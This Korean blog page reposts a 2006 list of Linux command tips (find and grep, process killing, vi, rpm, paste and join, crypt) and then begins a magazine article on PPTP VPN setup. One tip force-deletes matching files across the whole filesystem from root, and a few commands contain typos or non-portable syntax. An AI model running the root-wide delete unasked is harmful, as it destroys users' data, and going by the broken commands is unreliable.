RSS구독하기:SUBSCRIBE TO RSS FEED
즐겨찾기추가:ADD FAVORITE
글쓰기:POST
관리자:ADMINISTRATOR
'2006/09'에 해당되는 글 206
Linux  2006/09/08 22:39
출처 블로그 > Linux & Server & Music ~★
원본 http://blog.naver.com/paradox1573/40013015745

유닉스 혹은 리눅스용 커맨드 팁 모음입니다.


  1. 서브 디렉토리까지 파일안의 문자열 모두 검색
  2. haha와 huhu가 동시에 들어있는 행 뽑기
  3. 찾아서 지우기
  4. 공사중에 로그인 막기
  5. 크기가 가장 큰 파일, 디렉토리 찾기
  6. 가장 큰 파일을 찾으려면
  7. 현재 디렉토리의 크기만을 파악할때
  8. 시스템 정보 감추기
  9. 어떤 프로세스가 메모리를 가장 많이 잡아먹고 있는지 알아내기
  10. FTP로 들어온 사용자 확인하기
  11. 원하지 않는 사용자 죽이기
  12. less 결과를 vi로 보기
  13. vi에서 블럭 설정하기
  14. man 페이지 프린트하기
  15. ping 무시하기
  16. LILO 다시 살리기
  17. 특정 사용자 ftp 접근 막기
  18. X 윈도우에서 TV보기
  19. ls라는 파일이 포함된 rpm패키지 찾기
  20. 현재 rpm패키지의 의존패키지
  21. 현재 디렉토리크기
  22. 바로 이전 디렉토리로 가기
  23. 프로세스명으로 프로세스 죽이기
  24. 하드웨어 시계맞추기
  25. 원격에서 리모트서버의 X application실행시
  26. 링크 파일
  27. ^M 문자 없애기
  28. 비어있는 행을 찾기
  29. 기타 명령어 떼
  30. 각자가 사용하는 컴퓨터의 정보를 알고 싶을때
  31. 전체 메일
  32. 디렉토리만 빠르게 검색
  33. 호스트 네임 바꾸기
  34. 틀린명령어 틀린글자만 바꿔서 실행
  35. 유닉스의 현재 버젼과 종류 그리고 라이센스등을 알려주는 명령어
  36. 열려있는 포트 알아내기
  37. 텔넷 모든 접속자에게 메세지 보내기
  38. lsof는 열려있는 파일을 나타내 주는 옵션
  39. 사용자가 어디에서 무엇을 하는지 알아내기
  40. 텔넷 화면 수정
  41. 하위 디렉토리 한꺼번에 만들기
  42. 특정디렉토리의 모든 파일 안의 특정 문자열 치환
  43. killall 명령 시뮬레이션 (프로세스명으로 죽이기)
  44. find와 grep
  45. vi 검색, 치환
  46. 파일내의 중복되는 행을 제거 : uniq
  47. 파일의 결합
  48. 파일의 암호화 : crypt
  49. 개행을 제외한 화면내의 보이지 않는 문자 출력
  50. 화일내의 포함된 특정문자열로 찾아서 내용만 출력하기
  51. 특정 파일의 화일명을 비슷하게 여러개 한꺼번에 바꾸기
  52. 어제 날짜 구하기
  53. 원하지 않는 사용자 죽이기
  54. UNIX상에서 한글출력이 깨져 나올경우
  55. 현재 디렉토리의 대량의 파일을 각자의 파일명가운데에 특정문자 추가하여 바꾸기

0.0.0.1 서브 디렉토리까지 파일안의 문자열 모두 검색

find ./ -name "*" -exec grep 'abc' {} \; -print find . -name -print -exec grep abc {} \; grep -r abc * 

0.0.0.2 haha와 huhu가 동시에 들어있는 행 뽑기

grep haha foo.txt | grep huhu 

0.0.0.3 찾아서 지우기

find / -name "*.eml" -exec rm -f {} \; 

0.0.0.4 공사중에 로그인 막기

시스템을 공사중일 때, root 이외의 다른 사용자를 로그인 못하게 해야 할 때가 있죠? 그럴 때는, /etc/nologin 이라는 파일을 만들어,공사중 또는 Under Construction이라는 공지를 넣으면 됩니다.

0.0.0.5 크기가 가장 큰 파일, 디렉토리 찾기

가장 큰 디렉토리를 찾으려면, du -S | sort -n

0.0.0.6 가장 큰 파일을 찾으려면

ls -lR | sort +4n

0.0.0.7 현재 디렉토리의 크기만을 파악할때

[root@dev2 local]# du -c -h --max-depth=0 * 6.4M    apache 35M     bin 43M     dns 1.7M    doc 42k     etc 1.0k    games 42k     geektalkd 1.1M    gnuws 1.1M    include 41k     info 19M     jakarta-tomcat-3.2.3 0       jre 15M     jre118_v3 25M     lib 62k     libexec 1011k   man 1.3M    mm.mysql.jdbc-1.2c 937k    sbin 3.8M    share 1.8M    shoutcast-1-8-3-linux-glibc6 5.2M    ssl 159M    total 

0.0.0.8 시스템 정보 감추기

/etc/inetd.conf 파일을 열어서,
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h 

0.0.0.9 어떤 프로세스가 메모리를 가장 많이 잡아먹고 있는지 알아내기

ps -aux | sort +4n 또는 ps -aux | sort +5n

0.0.0.10 FTP로 들어온 사용자 확인하기

ftpwho,ftpcount

0.0.0.11 원하지 않는 사용자 죽이기

[root@dream /root]# skill -KILL sunny

위의 명령을 내리면 sunny 라는 사용자를 완전히 추방시킬수 있습니다. 그런데 이렇게 완전히 추방시키는게 아니구, 특정 터미널에 접속해있는 사용자만 추방시켜야 할 때도 있겠죠? 그럴때는

[root@dream /root]# skill -KILL -v pts/14

이런식으로 하면 된다 그럼 pts/14 에 연결되어 있는 사용자가 죽게 됩니다.

0.0.0.12 less 결과를 vi로 보기

less상태에서 v를 누르면 바로 vi로 감

0.0.0.13 vi에서 블럭 설정하기

alt+v 하면, 라인 단위로 블럭 설정을 할 수 있으며, 해제 하시려면 Esc를 누르면 됩니다. 또한 ctl+v를 하시면, 블럭 단위로 블럭을 설정하실 수 있습니다.

블럭을 설정 하신 뒤,

삭제를 하려면 x 복사를 하려면 y 붙여넣기는 p

0.0.0.14 man 페이지 프린트하기

man -t vi > vi.ps

0.0.0.15 ping 무시하기

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all 

0.0.0.16 LILO 다시 살리기

boot : vmlinuz root=/dev/hda6

0.0.0.17 특정 사용자 ftp 접근 막기

/etc/ftpusers 파일에 로그인 네임을 추가하면 됩니다.

0.0.0.18 X 윈도우에서 TV보기

리눅스에서 TV보기 위해서는 드라이버 파일과 TV를 보는 프로그램이 필요합니다. 이 글에서는 미지 리눅스 OS에 탑재된 bttv 칩셋을 사용하는 TV 카드를 기준으로 설명합 니다. 만일 커널을 새로 컴파일 하실 분은 반드시 Character devices -> Video For Linux -> BT848 Video For Linux 항목을 모듈화 시키거나 커널에 포함하십시오.

TV 카드를 리눅스에 인식시키기 위해서 /etc/conf.modules 파일에 다음과 같은 내용을 삽입하고 컴퓨터를 다시 시작합니다.

alias char-major-81 bttv  # 필립스 튜너의 경우 pre-install bttv modprobe -k tuner # 알프스 튜너의 경우 pre-install bttv modprobe -k tuner type=9 

이제 kwintv나 xawtv 등의 TV 시청 프로그램으로 TV를 볼 수 있습니다. 만약 TV 장치를 찾지 못하는 오류가 있다면 bttv driver 디렉토리에 포함된 MAKEDEV 를 실행하십시오.

0.0.0.19 ls라는 파일이 포함된 rpm패키지 찾기

일단 ls의 절대경로를 알아야 한다. which lswhich로 알아낸 ls의 절대경로로 rpm질의를 한다.
rpm -qf /bin/ls [root@piruks /etc]# which ls /bin/ls [root@piruks /etc]# rpm -qf /bin/ls fileutils-4.0i-2mz 

0.0.0.20 현재 rpm패키지의 의존패키지

rpm -qR 패키지명

0.0.0.21 현재 디렉토리크기

du -h --max-depth=1 . 

0.0.0.22 바로 이전 디렉토리로 가기

cd - 

0.0.0.23 프로세스명으로 프로세스 죽이기

killall 프로세스명 kill -9 `pidof 프로세스명 

0.0.0.24 하드웨어 시계맞추기

배포본을 설치하고 나면 시간이 맞지 않는 경우가 많다. 간단히 어느정도 정확한 시간을 설정하는 방법이다.
[root@dev /down]# rdate -s time.kriss.re.kr [root@dev /down]# clock -w 

0.0.0.25 원격에서 리모트서버의 X application실행시

X윈도 app를 실행할때 다음과 같은 에러가 나면 조치
[kang@dev /home/kang] xclock Xlib: connection to "211.222.186.170:0.0" refused by server Xlib: Client is not authorized to connect to Server Error: Can't open display: 211.222.186.170:0.0  export DISPLAY=211.222.186.170:0 xhost +211.222.186.170 

0.0.0.26 링크 파일

ln -sf 링크할디렉토리 링크로 만들어질 디렉토리 참고로 링크를 걸기만 한다고 접근가능한것은 아니고,링크가 걸린 디렉토리의 퍼미션도 허용으로 바꿔야 한다. 링크로 만들어질 디렉토리는 저절로 생성되고 퍼미션 777로 잡혔음. ln -sf /www/dir_1/r_photo /www/dir_2/r_photo

0.0.0.27 ^M 문자 없애기

a = 1^M def vartest(a):^M a = a + 1^M return a^M a = vartest(a)^M print a^M  
Unix류 기계에서는 그냥 ^J 하나만을 개행문자로 사용하는데 PC에서는 MJ 이렇게 두 제어문자가 연속으로 사용되어야 개행문자로 받아들이죠. (그래서 PC쪽에서 만들어진 txt문서를 유닉스 기계로 불러와 vi 등을 실행하면

    줄 끝마다 보기싫은 ^M이 붙습니다. 뭐 vi에서 요거 지우는건 간단하지만요.)

PC에서 Unix에서 작성한 텍스트 문서를 보통 ftp로 받아오거나 하면 워드패드 등에서 봤을 때 전혀 개행이 되어있지 않지요. 하지만 MS Word 등 좀더 강력한 편집기에선 대개 잘 처리해서 잘 보여줍니다.

위는 간단한 Python 소스입니다. 위의 경우 처럼 ^M문자가 있을때, dos2unix라는 유틸리티를 많이 사용하기도 하죠. 하지만 vi에서 간단하게 모두 삭제할수도 있습니다. dos2unix가 없거나 빠져나가서 지우는게 귀찮을때 좋겠죠. 명령은 :%s/(ctrl+v)M//g 입니다. (ctrl+v)M 이거는 ctrl과 v를 눌러준후, ctrl키를 떼지 말고 바로 m을 눌러주시믄 됩니다. 위는 정규표현식을 이용한것이고, 형식은 %s/이것을/요걸로/g 입니다 그럼 문서안의 모든 "이것을" "요걸로" 바꾸게 되죠. 단, M의 경우 ctrl+M의 뜻인데 단순히 문자로 M을 바꾸라도 해도 인식을 못하기 때문에, 위처럼 (ctrl+v)M 으로 해주셔야 합니다.

0.0.0.28 비어있는 행을 찾기

#grep -n '^$' filename 정규표현 의미 ^ 행의 처음 $ 행의 끝 . 임의의 한 문자
[...] ... 안의 임의의 한 문자. a-z,0-9 같은 범위도 사용 [^..] .. 안에 없는 임의의 한 문자. 범위 사용가능 r* 0회 이상 r 반복 r+ 1회 이상 r 반복 r? 0 혹은 1회의 r r{n,m} n회 이상 m회 이하 r 반복 r1|r2 r1 혹은 r2 (egrep 만) (r) r 의 정규표현(egrep 만) 

0.0.0.29 기타 명령어 떼

alias(명령어 간소화하기) apropos(관련된 명령어 찾기) arch(컴퓨터 종류 알기) arp(같은 서브넷의 IP 보여주기) at(작업 시간 정하기) atd(계획성 있는 작업 실행하기) awk(특정 패턴 문자 처리하기) a2p(펄 파일로 바꾸기) badblocks(배드 블럭 검사하기) bc(계산기) biff(메일 수신 소리로 확인하기) bg(후면작업; 배경화면 설정) bind(키나 함수 순서 결합하기) break(루프 빠져나가기) cal(달력보기) builtin(내부 명령어 알아보기) case(조건 처리하기) cat(화면상에서 파일 보기) cd(디렉토리 변경하기) cfdisk(디스크 설정하기) chattr(파일 속성 변경하기) chfn(사용자 정보 변경하기) chgrp(파일, 디렉토리가 속했던 그룹 바꾸기) chmod(파일 권한 바꾸기) chown(파일 주인 바꾸기) chsh(지정된 셸 바꾸기) cksum(CRC값을 점검한다) clear(화면 청소하기) clock(CMOS 시각을 조정하기) cmp(파일 비교하기) colcrt(문자 변환 필터) colrm(열 삭제하기) column(가로 정렬하기) comm(파일 비교 출력하기) command(명령어 알아보기) continue(루프 계속돌기) cp(파일 복사하기) cpio(복사본 만들기) crontab(cron을 관리한다) csplit(파일에 서식, 규칙 정하기) cut(필요한 필드만 출력하기) date(날짜 보기) dd(블럭장치 읽고 쓰기) debugfs(ext2 파일 시스템 디버깅하기) declare(변수 선언하기) df(파일 시스템의 사용량 보기) dirs(디렉토리 목록 표시하기) dmesg(부팅 메시지 보기) dnsdomainname(DNS 이름 출력) domainname(NIS 이름 출력&설정) du(디렉토리와 파일의 용량 파악하기) dumpe2fs(파일 시스템 정보 보기) echo(표준 출력하기) eject(장치 해제하기) elm(메일 관련) enable(내부 명령어 지정) env(환경변수 출력하기) eval(인수 읽기) exec(셸 명령어 실행하기) exit(종료하기) expand(탭을 공백으로 변환하기) export(변수 지정하기) e2fsck(파일 시스템 복구하기) fc(지정된 편집기 받기) fdformat(플로피 디스크 포맷하기) fdisk(파티션 나누기) fg(지정된 작업을 전면 프로세스로 시작하기) file(파일 종류 보기) find(파일 찾기) finger(사용자 정보 알기) fold(정형화하기) fmt(정형화하기) for(반복 실행하기) free(메모리 사용량 알아보기) fsck(파일 시스템 검사하기) fstab(파일 시스템에 대한 고정적인 정보 저장하기) ftp(파일 전송 프로그램) fuser(프로세스 ID 출력) getkeycodes(매핑 테이블 출력하기) grep(특정 문자(열) 검색하기) gzexe(실행 파일 압축하기) gzip(압축하기) halt(시스템 종료하기) hash(기억해 두기; index 역할) head(파일의 앞부분 출력하기) help(도움말 보여주기) host(호스트 정보 보기) history(사용 명령어 목록보기) hostname(서버 이름 알기) id(계정 정보 알기) if(조건문 실행하기) ifconfig(랜카드에 주소 할당하기) imolamod(모듈 설치하기) inetd(인터넷 서비스의 최상위 데몬) init(실행 단계 정하기) ispell(철자법 검사하기) jobs(수행중인 프로세스 알기) kbd_mode(키보드 모드 출력하기) kill(프로세스 죽이기) klogd(커널 로그 데몬) ldd(공유 라이브러리의 의존성 알기) less(페이지 단위로 출력하기) let(정규식 표현하기) lilo(부팅하기) ln(링크하기) locate(패턴에 맞는 파일 찾기) login(로그인하기) logger(시스템 로그 기록하기) logname(사용자 로그인명 보여주기) logout(로그인 셸 종료하기) look(특정 단어 검색하기) losetup(중복 장치 확인하기) lpd(프린트 데몬) lpq(현재 프린트 작업 상태 출력하기) lpr(출력하기) lprm(대기열에 있는 문서 삭제하기) ls(디렉토리 내용보기) lsattr(파일 시스템의 속성 보여주기) lsdev(하드웨어 장치 출력하기) lsmod(모듈 정보 출력하기) mail(메일 관련) make(컴파일하기) man(매뉴얼 보기) mattrib mbadblocks mcd mcopy mdel mdeltree mdir mesg(메시지를 받을 수 있는지 확인하기) mformat minfo mkdir (디렉토리 만들기) mke2fs(파일 시스템 생성하기) mkfs(파일 시스템 만들기) mknod(특수 파일 만들기) mkswap(스왑 영역 지정하기) mlabel mmd mmount mmove mpartition mount(장치 연결하기) more(화면 단위로 출력하기) mrd mren mtoolstest mtype mutt(메일 관련) mv(파일 옮기기) mzip netstat(현재 네트웍 상황 보기) nice(프로세스 우선 순위 변경하기) od(8진수로 파일 보기) passwd(암호 입력하기) pidof(실행중인 프로그램의 프로세스 ID 찾기) pine(메일 관련) ping(네트웍 확인하기) popd(pushd 취소) ps(프로세스 상태 알기) pstree(프로세스 상관관계 알기) pwd(절대경로 보여주기) quota(디스크 한계량 알기) rarp(rarp 테이블 관리하기) rcp(원격 호스트에 파일 복사하기) rdev(루트, 스왑장치, 램 크기, 비디오 모드를 조사하고 설정하기) rdate(네트웍으로 시간 설정하기) reboot(재부팅하기) rmmod(모듈 지우기) readonly(읽기 전용으로 표시하기) renice(프로세스 우선 순위 바꾸기) reset(터미널 초기화하기) restore(다시 저장하기) rlogin(바로 접속하기) rm(파일 지우기) rmdir (디렉토리 지우기) route(라우팅 테이블 추가/삭제하기) rpm(프로그램 추가/삭제) rpm2cpio(rpm을 cpio로 변환하기) rsh(원격으로 명령어 실행하기) rup(호스트 상태 출력하기) rusers(호스트에 로그인한 사용자 출력하기) rwall(호스트 사용자에게 메시지 뿌리기) script(기록하기) set(변수값 설정하기) setup(시스템 관련 설정하기) showmount(호스트의 마운트 정보 보여주기) shutdown(전원 끄기) sleep(잠시 쉬기) source(스크립트 번역하기) split(파일 나누기) ssh(암호화된 원격 로그인하기) stty(터미널라인 설정 보여주기) su(계정 바꾸기) suspend(셸 중단하기) swapoff (스왑 해제하기) swapon(스왑 활성화하기) sync(버퍼 재설정하기) syslogd(로그인 과정 설정하기) tac(거꾸로 보기) tail(문서 끝부분 출력하기) talk(이야기하기) tar(파일 묶기) tcpdchk(tcp wrapper 설정하기) tcpmatch(네트웍 요청에 대해 예측하기) tee(표준 입력으로부터 표준 출력 만들기) telnet(원격접속하기) test(테스트하기) times(셸에서의 사용자와 시스템 시간 출력하기) top(cpu 프로세스 상황 보여주기) tr(문자열 바꿔주기) true(종료 코드 리턴하기) type(유형 보기) ul(밑줄 처리해서 보여주기) ulimit(제한하기) umask(매스크 모드 설정하기) umount(장치 해제하기) unalias(별명 제거하기) uname(시스템 정보 보기) unexpand(공백 문자를 탭으로 변환하기) uniq(중복된 문장 찾기) useradd(사용자 계정 만들기) userdel(계정 삭제하기) usermod(사용자 계정정보 수정하기) unset(설정 변수 해제) uptime(시스템 부하 평균 보여주기) users(로그인된 사용자 보여주기) w(시스템에 접속한 사용자 상황 알아보기) wait(프로세스 기다리기) wall(모든 사용자에게 메시지 보내기) wc(문자, 단어, 라인수 세기) whatis(명령어의 간단한 설명보기) while(루프 명령어) who(사용자 알기) write(콘솔 상에서 간단한 메시지 보내기) xcopy(반복적으로 복사하기) XFree86 ypchfn(NIS에서 사용하는 chfn 명령어) ypchsh(NIS에서 사용하는 chsh 명령어) yppasswd(NIS에서 사용하는 passwd 명령어) zcat(압축 파일 보기) zcmp(압축 파일 비교하기) zforce(강제로 gz 만들기) zgrep(압축 상태에서 grep 실행하기) zmore(압축 상태에서 more 실행하기) znew(.Z 파일을 .gz로 다시 압축하기) 

0.0.0.30 각자가 사용하는 컴퓨터의 정보를 알고 싶을때

[root ...]#more /proc/cpuinfo 위와 같이 치면 사용자의 컴퓨터 정보를 볼수 있으며, [root ...]#more /proc/meminfo 라고 치면 사용자의 메모리 정보를 볼수 있습니다.

0.0.0.31 전체 메일

먼저 보낼 내용을 텍스트로 파일로 만들어야 합니다.어디에서든지 가능하지요! [ root@aromi /root]# vi nea 안녕하세요! 저희 서버에서는 웹서버를 오늘부터 시작합니다. 사용자 여러분의 많은 관심과 이용을 부탁드립니다.
 :wq [ root@aromi /root]# 
만약, 한글을 사용하지 못하면 윈도우95에서 먼저 쓴다음에 ftp를 이용해서 올리면 됩니다.
[ root@aromi /root]# mail -s "[공지]" `cat /etc/passwd|gawk ?F :'{print$1}'` 
[공지]-> 라고 쓴 것은 보낼 메일의 제목입니다. 'cat /etc/passwd|gawk -F : '{print$1}'' ->먼저 cat으로 passwd파일의 첫번째 나오는 내용을 출력하라는 소리입니다. nea라는 텍스트파일을 메일의 내용으로 보내라는 내용입니다.

0.0.0.32 디렉토리만 빠르게 검색

ls -al | grep "^d"

0.0.0.33 호스트 네임 바꾸기

/etc/HOSTNAME file은 부팅시 /etc/sysconfig/network file 의 HOSTNAME 부분을 참조하여 저장합니다. 호스트 네임을 바꾸고자 한다면 /etc/sysconfig/network file 의 HOSTNAME 부분을 바꿔주면 됩니다.
[ root@linux /root]# vi /etc/sysconfig/network NETWORKING=yes HOSTNAME="linux" GATEWAY="" GATEWAYDEV="" FORWARD_IPV4="yes" 
바꾸신후 시스템을 재부팅 하신거나, #/etc/rc.d/init.d/network restart 명령을 내리시면 됩니다.

0.0.0.34 틀린명령어 틀린글자만 바꿔서 실행

# ./configure --prefax=/usr/local/apache 앗, 틀렸습니다. prefax가 아니라 prefix인데... 고쳐야지요...간단하게 화살표키로 왔다갔다 하면서 지워지고 바꿔주면 되겠지만 다른 방법이 있습니다. # ^fax^fix^ 라고 하면... -> ./configure --prefix=/usr/local/apache 라고 됩니다..

0.0.0.35 유닉스의 현재 버젼과 종류 그리고 라이센스등을 알려주는 명령어

[ root@aromi /root]# uname -a

0.0.0.36 열려있는 포트 알아내기

netstat -anp | grep LISTEN

0.0.0.37 텔넷 모든 접속자에게 메세지 보내기

wall 내용... Ctrl-D

0.0.0.38 lsof는 열려있는 파일을 나타내 주는 옵션

여기에 보안 점검을 위하여, -i 옵션을 사용하면, 현재 열려 있는 포트와 링크되어 있는 서비스 또는 프로그램이 모두 나타나죠. 자신이 열어 놓지 않은 포트가 열려있다던지하면 한번쯤 의심해 봐도 되겠죠?

0.0.0.39 사용자가 어디에서 무엇을 하는지 알아내기

w라는 명령어를 사용하시면 된답니다. 이 때, w [-s] 를 붙여주시면 -s 옵션이 긴 정보 대신에 필요한 짧은 정보만 알려 준답니다.

0.0.0.40 텔넷 화면 수정

로그인화면: /etc/issue.net 로그인후화면: /etc/motd

0.0.0.41 하위 디렉토리 한꺼번에 만들기

mkdir -p music/koreanmusic/ost

0.0.0.42 특정디렉토리의 모든 파일 안의 특정 문자열 치환

for i in $*; do     sed "s/paper/PAPER/g" < $i > $i.new     mv -f $i.new $i done  <chihwan.sh>  find ./(chihwan.sh를 포함하지 않는 디렉토리면) -type f -exec chihwan.sh {} \; 

0.0.0.43 killall 명령 시뮬레이션 (프로세스명으로 죽이기)

ps aux | grep 프로세스명 | grep -v grep | awk '{ print $w }' | xargs kill -9
  • 모든 프로세스 나열
  • 지정한 프로세스만 뽑아냄
  • grep 명령이 포함된 라인 제거
  • awk로 두번째 필드만 뽑아냄
  • xargs에 의해 걸러진 아이디로 죽임

0.0.0.44 find와 grep

find . -name "H20021115.*" -exec grep -l '...;........;110100' {} \;

0.0.0.45 vi 검색, 치환

구호스트 서비스 오늘 날짜에서 분류코드가 110100인 파일 찾기 :%s/./\U&/g

모든문자->대문자 g/^$/d

0.0.0.46 파일내의 중복되는 행을 제거 : uniq

입력 파일에서 연속되는 행을 비교하여, 두 번째 이상의 동일한 행들을 제거하고 나머지는 출력파일로 출력 연속되어 표시되지 않으면 동일한 행이 존재할 수 있음.

sort 명령을 사용하여 정렬한 후 사용하는 것이 타당 사용법uniq [-cdu] [+|숫자] [입력파일 [출력파일]] -c : 각 행이 연속적으로 나타난 횟수를 행의 시작부분에 표시 -d : 연속적으로 반복되는 행만 출력 -u : 연속적으로 반복되지 않는 행만 출력 +숫자 : 행의 처음 '숫자' 만큼의 문자는 무시 -숫자 : 행의 처음 '숫자' 만큼의 필드는 무시

0.0.0.47 파일의 결합

여러 개의 텍스트 파일을 하나의 파일로 순차적으로 묶는데 사용
cat [파일명1] [파일명2] ... > [출력파일명]  cat [파일명1] [파일명2] ... >& [출력파일명]  cat [파일명1] [파일명2] ... >> [출력파일명] cat [파일명1] [파일명2] ... >>& [출력파일명] cat - [파일명1], [파일명2] .. >> [출력파일명] cat - [파일명1], [파일명2] .. >>& [출력파일명]   % cat > file1 파일명 : file1 ^D % cat > file2 파일명 : file2 ^D % cat file1 file2 > file3 % cat file3 파일명 : file1 파일명 : file2 %  

행단위 결합 : paste 여러 파일에 대해여 행간 결합을 수행하거나 하나의 파일에 대해 연속되는 행들을 결합 둘이상의 파일에 대해서 테이블상의 하나의 열과 같이 취급하여 동일한 행번호 끼리 결합

 paste [파일명1] [파일명2].. paste -d리스트 [파일명1] [파일명2] ... paste -s [-d리스트] [파일명]  d : 행간 결합시 행간 구분문자들의 리스트 s : 한파일의 연속되는 행을 결합  % cat > paste.data1 홍길동 이순신 김유신 % cat > paste.data2 부산 서울 대구 % paste paste.data1 paste.data2 홍길동 부산 이순신 서울 김유신 대구 % paste -d"\n" paste.data1 paste.data2 홍길동 부산 이순신 서울 김유신 대구 % paste -s -d"::\n" paste.data1 홍길동:이순신:김유신 % 

두 파일을 동일한 필드 값에 따라 행 단위 결합 : join

관계형 데이터 베이스에서의 join 연산과 동일 키로 사용할 필드에 대해 정렬된 두 파일의 각 행에 대해 동일한 키 값을 갖는 행들을 결합 입력으로 사용될 두 파일은 키 값에 대해 오름 차순으로 정렬되어 있어야 함 출력 결과는 기본적으로 키 값이 먼저 표시되고, 첫번째 파일에서 키를 제외한 나머지 필드, 두번테 파일에서 키를 제외한 나머지 필드가 표시 필드 구분은 공백, 탭, 개행문자가 기본, 연속적으로 나타날 경우 하나로 취급

% cat > join.data1 98001:서원일: 98002:홍길동: 98003:김유신: 98004:이순신: 98010:이상관: % cat > join.data2 부산:98001:441 울산:98002:89 대구:98003:99 서울:98004:120 김해:98010:44 % join -j1 1 -j2 2 -t: join.data1 join.data2 98001:서원일::부산:441 98002:홍길동::울산:89 98003:김유신::대구:99 98004:이순신::서울:120 98010:이상관::김해:44 % join -j1 1 -j2 2 -o 1.2 1.1 2.1 -t: join.data1 join.data2 서원일:98001:부산 홍길동:98002:울산 김유신:98003:대구 이순신:98004:서울 이상관:98010:김해 %  

0.0.0.48 파일의 암호화 : crypt

파일을 암호화 하여 키를 알지 못하는 사람은 내용을 볼 수 없도록 함 표준 입출력 사용
% cat > crypt.data test test 안녕하십니까? ^D % crypt <crypt.data > crypt.data1 Enter key: hello % ls -l crypt* -rw-r--r-- 1 wiseo pro 24 9월 24일 14:47 crypt.data -rw-r--r-- 1 wiseo pro 24 9월 24일 14:48 crypt.data1 % crypt < crypt.data1 Enter key:hello test test 안녕하십니까? % 

0.0.0.49 개행을 제외한 화면내의 보이지 않는 문자 출력

cat -v http://comp-cse.sch.ac.kr/~pl/lecture/linux/file2.html

0.0.0.50 화일내의 포함된 특정문자열로 찾아서 내용만 출력하기

grep -h '20030305......01' ./R00*

0.0.0.51 특정 파일의 화일명을 비슷하게 여러개 한꺼번에 바꾸기

ls *.* | awk '{print "mv",$1, $1 }' | sed "s/ \([a-zA-Z0-9]*\)\.\([a-zA-Z0-9]*\)$/ \1\.\_\2/g" 
  • 현재디렉토리의 모든 *.* 파일을 *._* 형식으로 바꾼다.
  • 더 간단하게 ls *.* | sed "s/\([a-zA-Z0-9]*\)\.\([a-zA-Z0-9]*\)/mv \1\.\2 \1\.\_\2/g"


0.0.0.52 어제 날짜 구하기

$ date -v-1d "+%Y-%m-%d" [컴퓨터분류]

0.0.0.53 원하지 않는 사용자 죽이기

[root@dream /root]# skill -KILL sunny

위의 명령을 내리면 sunny 라는 사용자를 완전히 추방시킬수 있습니다. 그런데 이렇게 완전히 추방시키는게 아니구, 특정 터미널에 접속해있는 사용자만 추방시켜야 할 때도 있겠죠? 그럴때는 [root@dream /root]# skill -KILL -v pts/14

이런식으로 하면 된다 그럼 pts/14 에 연결되어 있는 사용자가 죽게 됩니다.

0.0.0.54 UNIX상에서 한글출력이 깨져 나올경우

유닉스상에서 한글을 stdout출력할 경우 가끔 출력되는 문자들이 몽땅 깨져서 나오는 경우가 있다. 이때부터는 프로그램이 종료된 이후에도 쉘 프람프트를 비롯, 쉘에서 입력하는 모든 커맨드가 깨져서 나온다. 이는 ascii code 로 ^n 에 해당하는 문자가 출력될 때 나오는 현상으로 그 이후로는 MSB가 모두 켜지기 때문이다. 문자가 깨져나오는 이후부터 ascii code 로 ^o 에 해당하는 문자를 출력하면 반대로 된다. 쉘 커맨드 상에서라면, # echo ^v^o

라고 해야겠지만 커맨드가 깨져나오므로 shell이 해석을 못한다. 따라서, command line에서 ^v^o를 치고 enter 하면 된다

0.0.0.55 현재 디렉토리의 대량의 파일을 각자의 파일명가운데에 특정문자 추가하여 바꾸기

/bin/ls A?????.html | sed 's/A\(.....\)\.html/\1/g' | xargs -t -i mv 'A{}.html' 'A0{}.html' 
/bin/ls는 ls가 보통 -F로 파일 종류 표시(*, @등)까지 하기 때문에 그걸 막기 위한 것이고 xargs의 -t는 트레이스모드이다.
2006/09/08 22:39 2006/09/08 22:39
이 글에는 트랙백을 보낼 수 없습니다
출처 블로그 > H.i.p.p.i.e .♂. N.a.y.a
원본 http://blog.naver.com/xxfinger/100002953652

[펌] 온더넷


리눅스/윈도우의 PPTP 프로토콜로 VPN 구성하기 ①
 출판일 :2004년 6월호

VPN을 운영하는 데는 다양한 프로토콜이 있다. 이중 PPTP(Point-to-Point Tunneling Protocol)는 TCP/IP 상에서 안전한 통신을 지원하고 멀티프로토콜 통신을 추가한 새로운 개념의 프로토콜이다. 또한 PPTP를 이용한 통신으로, 리눅스와 윈도우 간의 VPN을 쉽게 구축할 수 있다. 이 글을 통해 리눅스와 윈도우를 이용해 서버 대 서버, 서버 대 클라이언트를 구성하는 방법을 알아본다.



정낙수, 정민, 김규현_국민대학교 OSSRC 소속 개발자

VPN 서비스를 이용하는 가장 쉬운 방법은 VPN 장비를 도입하는 것이지만, 그 비용은 접속 노드 2∼3개를 증설할 수 있는 것과 맞먹기 때문에 중소기업은 부담스러운 것이 현실이다. 하지만 중소기업에서 비용 부담없이 VPN을 구축할 수 있는 방법이 있다. 구형 PC와 윈도우, 리눅스를 이용해 VPN을 구축하는 것으로, 여러 가지 장점이 있다.  
윈도우, 리눅스가 모두 소프트웨어이기 때문에 기능 업그레이드를 손쉽게 할 수 있고 다양한 프로토콜의 지원도 가능해진다. 물론 저렴하다는 점 역시 매우 큰 장점이다. 클라이언트 용도로 사용하기 힘든 PC에 윈도우 2000 서버를 이용해 VPN 서버를 구성할 수도 있고, 윈도우 2000 라이센스 비용에 일반 PC 비용 대신 폐기 처분될 PC에 리눅스를 설치해 VPN 서버로 만들 수 있으니 말이다.
또한 세션이 무제한이라는 장점이 있다. 소규모 네트워크를 위한 VPN 장비의 경우 최대 세션과 터널 수에도 제한이 있다. 때문에 일정 수의 사용자 이상은 접속할 수 없다는 단점이 있지만, 공개 소프트웨어나 기본 내장 VPN을 이용한 경우에는 최대 세션 수 제한이 없기 때문에 사용자 수를 확장해 사용할 수 있다. 그러나 소프트웨어로 구현된 장비가 늘 그렇듯이 하드웨어 장비에 비해 속도가 느리다는 단점이 있다. 물론 소프트웨어의 경우 해당 소프트웨어에 대한 정확한 이해가 필요하다는 것도 단점일 수 있다. 어떤 점에 더 비중을 둘 것인가는 네트워크 관리자의 몫이고 가장 적합한 솔루션을 선택하는 것 역시 네트워크 관리자의 몫이므로 여기에서 무엇이 더 좋은가에 대한 의제는 무의미할 것이다.

다양한 VPN 프로토콜을 통한 안전한 통신 확보
